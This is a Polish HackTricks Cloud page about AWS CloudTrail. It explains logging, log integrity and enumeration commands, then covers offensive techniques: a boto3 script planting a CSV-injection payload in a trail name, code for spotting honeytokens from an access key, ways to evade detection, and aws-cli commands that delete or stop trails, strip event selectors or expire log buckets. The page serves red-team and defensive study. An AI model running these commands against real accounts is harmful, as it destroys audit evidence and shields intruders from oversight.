AWS - CloudTrail Enum
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
CloudTrail
AWS CloudTrail rejestruje i monitoruje aktywność w Twoim środowisku AWS. Zbiera szczegółowe dzienniki zdarzeń, w tym kto co zrobił, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyty zgodności oraz śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami.
Każde zarejestrowane zdarzenie zawiera:
- Nazwę wywołanego API:
eventName - Wywoływaną usługę:
eventSource - Czas:
eventTime - Adres IP:
SourceIPAddress - Metodę agenta:
userAgent. Przykłady: - Signing.amazonaws.com - Z AWS Management Console
- console.amazonaws.com - Użytkownik główny konta
- lambda.amazonaws.com - AWS Lambda
- Parametry żądania:
requestParameters - Elementy odpowiedzi:
responseElements
Zdarzenia są zapisywane do nowego pliku dziennika około co 5 minut w pliku JSON, są przechowywane przez CloudTrail, a ostatecznie pliki dziennika są dostarczane do S3 około 15 minut po.
Dzienniki CloudTrail mogą być agregowane w różnych kontach i regionach.
CloudTrail pozwala na użycie integralności plików dziennika, aby móc zweryfikować, że Twoje pliki dziennika pozostały niezmienione od momentu, gdy CloudTrail je dostarczył. Tworzy skrót SHA-256 dzienników w pliku podsumowującym. Skrót sha-256 nowych dzienników jest tworzony co godzinę.
Podczas tworzenia Trail selektory zdarzeń pozwolą Ci wskazać, jakie zdarzenia mają być rejestrowane: zarządzanie, dane lub zdarzenia analityczne.
Dzienniki są przechowywane w wiadrze S3. Domyślnie używana jest szyfrowanie po stronie serwera (SSE-S3), więc AWS odszyfruje zawartość dla osób, które mają do niej dostęp, ale dla dodatkowego bezpieczeństwa możesz użyć SSE z KMS i własnymi kluczami.
Dzienniki są przechowywane w wiadrze S3 o tym formacie nazwy:
BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD- Nazwa wiadra:
aws-cloudtrail-logs-<accountid>-<random> - Przykład:
aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/
Wewnątrz każdego folderu każdy dziennik będzie miał nazwę w tym formacie: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz
Konwencja nazewnictwa plików dziennika
.png)
Ponadto, pliki podsumowujące (do sprawdzania integralności plików) będą znajdować się w tym samym wiadrze w:
.png)
Agregowanie dzienników z wielu kont
- Utwórz Trail w koncie AWS, do którego chcesz, aby pliki dziennika były dostarczane
- Zastosuj uprawnienia do docelowego wiadra S3, umożliwiając dostęp między kontami dla CloudTrail i pozwól każdemu kontu AWS, które potrzebuje dostępu
- Utwórz nowy Trail w innych kontach AWS i wybierz utworzone wiadro w kroku 1
Jednak nawet jeśli możesz zapisać wszystkie dzienniki w tym samym wiadrze S3, nie możesz agregować dzienników CloudTrail z wielu kont do dzienników CloudWatch należących do jednego konta AWS.
Caution
Pamiętaj, że konto może mieć różne Trails z CloudTrail włączone, przechowujące te same (lub różne) dzienniki w różnych wiadrach.
CloudTrail z wszystkich kont organizacji do 1
Podczas tworzenia CloudTrail, możliwe jest wskazanie, aby aktywować cloudtrail dla wszystkich kont w organizacji i uzyskać dzienniki do tylko 1 wiadra:
.png)
W ten sposób możesz łatwo skonfigurować CloudTrail we wszystkich regionach wszystkich kont i scentralizować dzienniki w 1 koncie (które powinieneś chronić).
Sprawdzanie plików dziennika
Możesz sprawdzić, czy dzienniki nie zostały zmienione, uruchamiając
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
Logs to CloudWatch
CloudTrail może automatycznie wysyłać logi do CloudWatch, abyś mógł ustawić alerty, które ostrzegają cię, gdy wykonywane są podejrzane działania.
Zauważ, że aby umożliwić CloudTrail wysyłanie logów do CloudWatch, należy utworzyć rolę, która pozwala na tę akcję. Jeśli to możliwe, zaleca się użycie domyślnej roli AWS do wykonywania tych działań. Ta rola pozwoli CloudTrail na:
- CreateLogStream: To pozwala na tworzenie strumieni logów CloudWatch
- PutLogEvents: Dostarczanie logów CloudTrail do strumienia logów CloudWatch
Event History
Historia zdarzeń CloudTrail pozwala na przeglądanie w tabeli logów, które zostały zarejestrowane:
.png)
Insights
CloudTrail Insights automatycznie analizuje zdarzenia zarządzania zapisem z tras CloudTrail i informuje cię o nietypowej aktywności. Na przykład, jeśli nastąpi wzrost zdarzeń TerminateInstance, który różni się od ustalonych podstaw, zobaczysz to jako zdarzenie Insight. Te zdarzenia ułatwiają znalezienie i reagowanie na nietypową aktywność API jak nigdy dotąd.
Wnioski są przechowywane w tym samym koszu co logi CloudTrail w: BucketName/AWSLogs/AccountID/CloudTrail-Insight
Security
| Control Name | Implementation Details |
|---|---|
| CloudTrail Log File Integrity |
|
| Stop unauthorized access |
|
| Prevent log files from being deleted |
|
Access Advisor
AWS Access Advisor opiera się na ostatnich 400 dniach logów AWS CloudTrail, aby zebrać swoje wnioski. CloudTrail rejestruje historię wywołań API AWS i związanych z nimi zdarzeń dokonanych w koncie AWS. Access Advisor wykorzystuje te dane, aby pokazać, kiedy usługi były ostatnio używane. Analizując logi CloudTrail, Access Advisor może określić, które usługi AWS były używane przez użytkownika IAM lub rolę oraz kiedy miało to miejsce. Pomaga to administratorom AWS podejmować świadome decyzje dotyczące udoskonalania uprawnień, ponieważ mogą zidentyfikować usługi, które nie były używane przez dłuższy czas i potencjalnie zmniejszyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użycia.
Tip
Dlatego Access Advisor informuje o niepotrzebnych uprawnieniach przyznawanych użytkownikom, aby administrator mógł je usunąć
.png)
Actions
Enumeration
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>
# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
CSV Injection
Możliwe jest przeprowadzenie ataku CSV w CloudTrail, który wykona dowolny kod, jeśli logi zostaną wyeksportowane w formacie CSV i otwarte w Excelu.
Poniższy kod wygeneruje wpis logu z nieprawidłową nazwą Trail zawierającą ładunek:
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
Aby uzyskać więcej informacji na temat CSV Injections, sprawdź stronę:
Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks
Aby uzyskać więcej informacji na temat tej konkretnej techniki, sprawdź https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/
Omijanie wykrywania
HoneyTokens omijanie
Honeytokens są tworzone w celu wykrywania eksfiltracji wrażliwych informacji. W przypadku AWS są to klucze AWS, których użycie jest monitorowane, jeśli coś wywoła akcję z tym kluczem, to ktoś musiał ukraść ten klucz.
Jednak Honeytokens, takie jak te stworzone przez Canarytokens, SpaceCrab, SpaceSiren, używają rozpoznawalnych nazw kont lub tego samego identyfikatora konta AWS dla wszystkich swoich klientów. Dlatego, jeśli możesz uzyskać nazwę konta i/lub identyfikator konta bez powodowania, że Cloudtrail utworzy jakikolwiek log, możesz wiedzieć, czy klucz to honeytoken, czy nie.
Pacu ma pewne zasady, aby wykryć, czy klucz należy do Canarytokens, SpaceCrab, SpaceSiren:
- Jeśli
canarytokens.orgpojawia się w nazwie roli lub identyfikator konta534261010715pojawia się w komunikacie o błędzie. - Testując je ostatnio, używają konta
717712589309i nadal mają ciągcanarytokens.comw nazwie. - Jeśli
SpaceCrabpojawia się w nazwie roli w komunikacie o błędzie. - SpaceSiren używa uuid do generowania nazw użytkowników:
[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12} - Jeśli nazwa wygląda na losowo wygenerowaną, istnieje duże prawdopodobieństwo, że to HoneyToken.
Uzyskaj identyfikator konta z identyfikatora klucza
Możesz uzyskać Identyfikator konta z zakodowanego wewnątrz klucza dostępu, jak wyjaśniono tutaj i sprawdzić identyfikator konta z twoją listą kont Honeytokens AWS:
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
Sprawdź więcej informacji w oryginalnych badaniach.
Nie generuj logu
Najskuteczniejsza technika w tym przypadku jest właściwie prosta. Po prostu użyj klucza, który właśnie znalazłeś, aby uzyskać dostęp do jakiejś usługi w swoim własnym koncie atakującego. To spowoduje, że CloudTrail wygeneruje log w TWOIM WŁASNYM koncie AWS, a nie w koncie ofiary.
Problem polega na tym, że wynik pokaże błąd wskazujący na identyfikator konta i nazwę konta, więc będziesz mógł zobaczyć, czy to Honeytoken.
Usługi AWS bez logów
W przeszłości istniały niektóre usługi AWS, które nie wysyłały logów do CloudTrail (znajdź listę tutaj). Niektóre z tych usług odpowiedzą z błędem zawierającym ARN roli klucza, jeśli ktoś nieautoryzowany (klucz honeytoken) spróbuje uzyskać do nich dostęp.
W ten sposób atakujący może uzyskać ARN klucza bez wywoływania jakiegokolwiek logu. W ARN atakujący może zobaczyć identyfikator konta AWS i nazwę, łatwo jest poznać identyfikator konta i nazwy firm HoneyToken, więc w ten sposób atakujący może zidentyfikować, czy token jest HoneyToken.
.png)
[!OSTRZEŻENIE] Zauważ, że wszystkie publiczne API, które odkryto, że nie tworzą logów CloudTrail, zostały teraz naprawione, więc być może będziesz musiał znaleźć swoje własne…
Aby uzyskać więcej informacji, sprawdź oryginalne badania.
Uzyskiwanie dostępu do infrastruktury trzeciej
Niektóre usługi AWS tworzą pewną infrastrukturę, taką jak bazy danych lub klastry Kubernetes (EKS). Użytkownik rozmawiający bezpośrednio z tymi usługami (jak API Kubernetes) nie będzie używał API AWS, więc CloudTrail nie będzie w stanie zobaczyć tej komunikacji.
Dlatego użytkownik z dostępem do EKS, który odkrył adres URL API EKS, mógłby wygenerować token lokalnie i rozmawiać z usługą API bezpośrednio, nie będąc wykrytym przez CloudTrail.
Więcej informacji w:
Modyfikowanie konfiguracji CloudTrail
Usuń szlaki
aws cloudtrail delete-trail --name [trail-name]
Zatrzymaj ślady
aws cloudtrail stop-logging --name [trail-name]
Wyłącz logowanie w wielu regionach
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
Wyłączanie logowania za pomocą selektorów zdarzeń
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
W pierwszym przykładzie pojedynczy selektor zdarzeń jest podany jako tablica JSON z pojedynczym obiektem. "ReadWriteType": "ReadOnly" wskazuje, że selektor zdarzeń powinien rejestrować tylko zdarzenia tylko do odczytu (więc CloudTrail insights nie będzie sprawdzać zdarzeń zapisu, na przykład).
Możesz dostosować selektor zdarzeń w oparciu o swoje specyficzne wymagania.
Usuwanie logów za pomocą polityki cyklu życia S3
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
Modyfikacja konfiguracji koszyka
- Usuń koszyk S3
- Zmień politykę koszyka, aby odmówić wszelkich zapisów z usługi CloudTrail
- Dodaj politykę cyklu życia do koszyka S3, aby usuwać obiekty
- Wyłącz klucz KMS używany do szyfrowania dzienników CloudTrail
Ransomware Cloudtrail
Ransomware S3
Możesz wygenerować klucz asymetryczny i sprawić, aby CloudTrail szyfrował dane tym kluczem oraz usunąć klucz prywatny, aby zawartość CloudTrail nie mogła być odzyskana.
To jest zasadniczo ransomware S3-KMS wyjaśnione w:
Ransomware KMS
To najłatwiejszy sposób na przeprowadzenie poprzedniego ataku z różnymi wymaganiami dotyczącymi uprawnień:
Referencje
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

